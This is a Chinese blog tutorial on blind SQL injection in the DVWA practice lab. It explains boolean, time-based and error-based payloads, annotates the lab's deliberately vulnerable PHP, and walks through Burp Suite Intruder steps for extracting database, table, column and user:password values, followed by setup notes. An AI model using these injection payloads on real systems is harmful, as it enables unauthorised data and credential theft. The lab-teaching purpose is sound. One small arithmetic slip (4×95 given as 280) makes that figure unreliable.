DVWA靶场保姆级通关教程--08SQL盲注(上)

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

前言

SQL盲注(SQL Blind Injection)是一种特殊类型的SQL注入攻击,其本质仍是通过构造恶意SQL语句操控后台数据库,但与普通SQL注入不同的是:

在SQL盲注中,页面不会返回明显的数据库错误信息或查询结果。

攻击者只能通过观察应用程序响应的细微差异(如页面是否跳转、是否显示某个提示、响应时间长短等)来判断注入是否成功,从而一点一点“猜”出数据库中的信息

类比:SQL盲注就像和“机器人女友”猜秘密

想象你有一个机器人女友,她程序设定得很严谨:

  • 不会直接告诉你秘密

  • 不会提供任何线索或提示

  • 她的回答只有两个字:“是” 或 “不是”。

于是你开始怀疑她藏了一个秘密,比如她日记里藏了某个名字,你很想知道是谁。你只能这样问她:

“你藏的第一个字母是 A 吗?”
她回答:“不是。”

“那是 B 吗?”
她回答:“是。”

你就知道,第一个字母是 B。然后你继续问第二个字母、第三个字母……
一次次靠“是”与“不是”的回答,一点一点把她的秘密拼出来。


对应SQL盲注:

类比内容实际含义
机器人女友被注入的Web系统
是/不是页面是否跳转、响应时间是否延迟等
一位位猜字母猜字段名、表名、数据值的每一位字符
她不告诉你内容页面没有错误信息或查询结果
你靠问问题来猜构造SQL语句来判断真假

SQL盲注常见类型:

类型特点示例
布尔型盲注通过判断页面响应是否变化(true/false)推断数据' AND SUBSTRING((SELECT database()),1,1)='m' --
时间型盲注利用数据库延时函数(如 sleep)判断条件真假' AND IF(SUBSTRING(user(),1,1)='r', SLEEP(5), 0) --
基于错误的盲注尝试触发语法错误或类型转换错误判断是否可注入' AND updatexml(1,concat(0x7e,(SELECT database())),1) --

基于错误的盲注 尝试触发语法错误或类型转换错误判断是否可注入 ' AND updatexml(1,concat(0x7e,(SELECT database())),1) -- 具体说说这个语句

语句原文:

' AND updatexml(1, concat(0x7e, (SELECT database())), 1) --

这是一个基于错误回显的SQL盲注语句,它的目标是:触发数据库的错误信息来泄露敏感数据(比如当前数据库名)。


拆解讲解

1. ' AND ... --
  • 单引号 ' 用于闭合原有的SQL语句。

  • AND 用来拼接一个额外的SQL语句。

  • -- 是SQL中的注释符,表示后面的内容都不会被执行(用来注释掉原来的尾部语句,防止语法错误)。

例如原始语句可能是:

SELECT * FROM users WHERE username = '$input'

输入了 ' AND ... -- 后,变成:

SELECT * FROM users WHERE username = '' AND updatexml(...) -- '
2. updatexml(1, concat(0x7e, (SELECT database())), 1)

这个函数组合才是核心:

updatexml(XPath_target, XPath_expression, XPath_value)

MySQL中的一个XML函数,本意是更新XML文档中的内容,但当语法错误时,MySQL会抛出异常,并把错误信息回显在页面中

concat(0x7e, (SELECT database()))
  • 0x7e 是十六进制的 ~ 字符。

  • SELECT database() 会返回当前数据库的名称。

  • concat(...) 拼接成 ~my_database_name 这样的字符串。

当这个拼接结果作为 updatexml 的 XPath 表达式时,就会因为格式不合法而抛出错误:

ERROR: XPATH syntax error: '~my_database_name'

正是这个 错误信息 把数据库名“偷偷暴露”了出来!

一、low级别的源码分析

<?php

// 判断是否通过GET方式提交了表单(是否点击了Submit按钮)
if( isset( $_GET[ 'Submit' ] ) ) {

    // 获取用户提交的id参数
    $id = $_GET[ 'id' ];

    // 构造SQL语句,将用户输入直接拼接到SQL语句中(存在SQL注入风险)
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

    // 执行SQL查询,查询结果赋值给$result;注释掉了'or die',以防止数据库错误信息泄露(但仍然存在注入风险)
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // 获取返回结果的行数,用来判断是否查询到了数据;使用@符号抑制错误信息
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors

    // 如果返回行数大于0,说明用户ID存在
    if( $num > 0 ) {
        // 给用户的反馈:ID存在
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // 如果没找到对应用户,则返回404状态码
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // 给用户的反馈:ID不存在
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    // 关闭数据库连接
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

安全问题说明:

  • 用户输入未经过任何过滤或转义,直接拼接进 SQL 语句,是典型的 SQL盲注(Blind SQL Injection) 场景。

  • 因为没有显示返回查询结果,只通过“ID是否存在”的提示来反馈判断结果,因此是布尔型盲注(Boolean-based Blind Injection)。

  • 适合用 and 1=1, and 1=2 等布尔逻辑语句进行注入测试。

注入示例:

这里用--测试,会失败,都是提示MISSING,那么相到--是注释,#也是注释,所以这里将--替换为#测试

输入ID参数实际SQL语句说明
'1' and 1=1 -- user_id = ''1' and 1=1 -- '语法错误(引号嵌套了)
1' and 1=1 -- user_id = '1' and 1=1 -- '正确(注入闭合了前面的引号)
1' and 1=2 -- user_id = '1' and 1=2 -- '正确(用于布尔盲注测试)

 观察上面两个页面的输出,能够看到这是典型的布尔型注入:

下面说一下布尔型注入的逻辑理解:

理解布尔盲注(Boolean-Based Blind SQL Injection)是什么?

布尔盲注不是直接获取数据库数据,而是通过页面返回的“真假状态”来判断 SQL 条件是否生效

我们利用的是:
✅ 如果 SQL 条件为真 → 页面返回正常内容
❌ 如果 SQL 条件为假 → 页面返回错误提示或不同的响应


具体来看你的 DVWA 示例:

原始 SQL:

SELECT first_name, last_name FROM users WHERE user_id = '$id';

比如你输入:

?id=1

SQL 实际变为:

SELECT first_name, last_name FROM users WHERE user_id = '1';

数据库中有 user_id = 1,页面显示:

User ID exists in the database.

User ID exists in the database.


测试1:?id=1' and 1=1 --

这个 payload 拼接后变成:

SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1 -- ';

注意这里:

  • '1' and 1=1 恒为真

  • SQL 没有语法错误(成功闭合)

  • 如果有 user_id = 1,就会返回“User ID exists…”

所以你看到的是:页面正常 → 条件为真 → 注入成功


测试2:?id=1' and 1=2 --

SQL 变成:

SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 -- ';

这里:

  • 1=2 恒为假

  • 即使 user_id = 1 存在,但 1 and false 为假

  • 整个 WHERE 条件失败,没有记录被查询出来

所以你看到的是:页面提示“User ID is MISSING” → 条件为假 → 注入成功


总结

PayloadSQL效果返回结果判断
?id=1' and 1=1 -- user_id = '1' and 1=1 → 恒为真User ID exists注入成功,逻辑为真
?id=1' and 1=2 -- user_id = '1' and 1=2 → 恒为假User ID is MISSING注入成功,逻辑为假

通过这两次请求,你证明了你可以控制SQL语句的布尔条件判断,这就是布尔盲注的核心。

二、使用bp辅助SQL注入

1.判断注入点

2.猜解库名的字符长度,猜解库名

3.猜解表名的字符长度,猜解表名

4.猜解字段名的字符长度,猜解字段名

5.猜解字段值的字符长度,猜解字段值

猜解库名的字段长度,猜解库名

输入:1' and length(database())=n # 

输入之后点击submit提交之前,开启抓包,发送给攻击模块,发现对我们提交的请求进行的了编码

 将n添加为变量,点击n,点击add添加,就用sniper的攻击模式,呈现结果如下图所示:

 设置pyload类型、范围和步长

点击开始攻击===》length排序===》发现数据库名的字符长度是4

那么接下来就是猜解具体的库名,当然可以一个一个字母或者可打印字符的去猜,但是这样猜效率太低,通常是转换成ASCII码去猜,猜解ASCII码的可打印字符范围32-126,设置步长是1 

输入:1'  and ord(substr(database(),m,1))=n #

开启抓包===》发送给攻击模块===》clear===》add(将m和n添加为变量)===》攻击模式选择集束炸弹

m是库名的取值范围就是:1-4

n是ASCII码可打印字符的范围:32-126,步长为1(共95个可打印字符)

猜解次数=4*95=280次  #每一个位置都要猜解95次,得到这个位的正确的字符

 将结果复制到Excel表,删除其他行只保留位置和对应的ASCII码行

选中位置点击排序===》按升序排序===》扩展选定区域

复制ASCII编码以及后面的空列

 

利用工具或者ai等、批量解码ASCII可以得到数据库名字是“dvwa”,

网址:https://www.toolnb.com/tools/asciiTools.html

 

 

猜解表长度,然后猜解表名 

输入:1' and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='dvwa'), m, 1))=n #

上面的语句省略了一个length猜解表长度,步骤同上

 同上查询结果

得到表名:guestbook,users

猜解字段长度和字段名:

输入:1' and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'), m, 1))=n #


这里得到了所有的字段名

 

猜解字段值 

输入:1' and ord(substr((select group_concat(user,':',password) from users),m,1))=n #

或者查指定库名.表名

1' and ord(substr((select group_concat(user,':',password) from dvwa.users), m, 1)) = n #

这个语法没问题,但是试了几次都没有得到正确的结果,大家可以自行尝试,得到结果欢迎留言,下期带来用SQLmap自动化注入,low和medium和high的练习
 

### 如何搭建DVWA靶场 #### 准备工作 为了成功部署DVWA(Damn Vulnerable Web Application),确保环境已经安装了必要的组件,比如Apache服务器、PHP以及MySQL数据库。这些通常可以通过XAMPP, WAMP或者LAMP栈来实现一键安装。 #### 文件放置位置 将下载得到的`DVWA-master.zip`文件解压缩后,把其中的内容移动至Web服务根目录下。对于不同的操作系统和开发环境而言,此路径会有所不同: - 对于Windows环境下使用PhpStudy的情况,应该将解压后的项目文件夹放到`\PHPTutorial\WWW`这个位置,并可以将其名称更改为`dvwa`以便记忆[^1]。 - 如果是在Linux系统上操作,特别是采用Kali Linux作为主机的情况下,则推荐通过命令行的方式执行如下指令:`mv DVWA-master /var/www/html/dvwa` 来完成相同的操作[^2]。 #### 设置权限与配置 由于安全原因,默认情况下某些文件可能不具备足够的读写权限,这会影响应用程序正常运行。因此需要调整相应文件夹及其内部资源的访问控制列表(ACLs)。具体做法取决于所使用的平台,在大多数类Unix系统中可利用chmod工具更改权限设置;而在Windows平台上则需借助属性对话框中的共享选项卡来进行适当修改。 另外还需意的是,如果计划让DVWA连接到外部数据库存储数据的话,那么还需要编辑位于应用根目录内的config.inc.php文件,按照实际情况填写正确的DBMS连接参数。 ```bash sudo chown -R www-data:www-data /var/www/html/dvwa/ sudo chmod -R 755 /var/www/html/dvwa/ ``` 以上命令适用于基于Debian系列发行版(如Ubuntu,Kali)上的Linux系统,用于赋予web server用户对该网站目录完全控制权的同时保持其他用户的只读权限。 #### 启动服务并测试 最后一步就是启动所有的后台进程和服务程序,包括但不限于HTTP(S) Server (e.g., Apache), PHP-FPM 和 MySQL Database Management System。当一切准备就绪之后打开浏览器输入http://localhost/dvwa地址即可看到登录界面,这意味着整个安装过程顺利完成!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值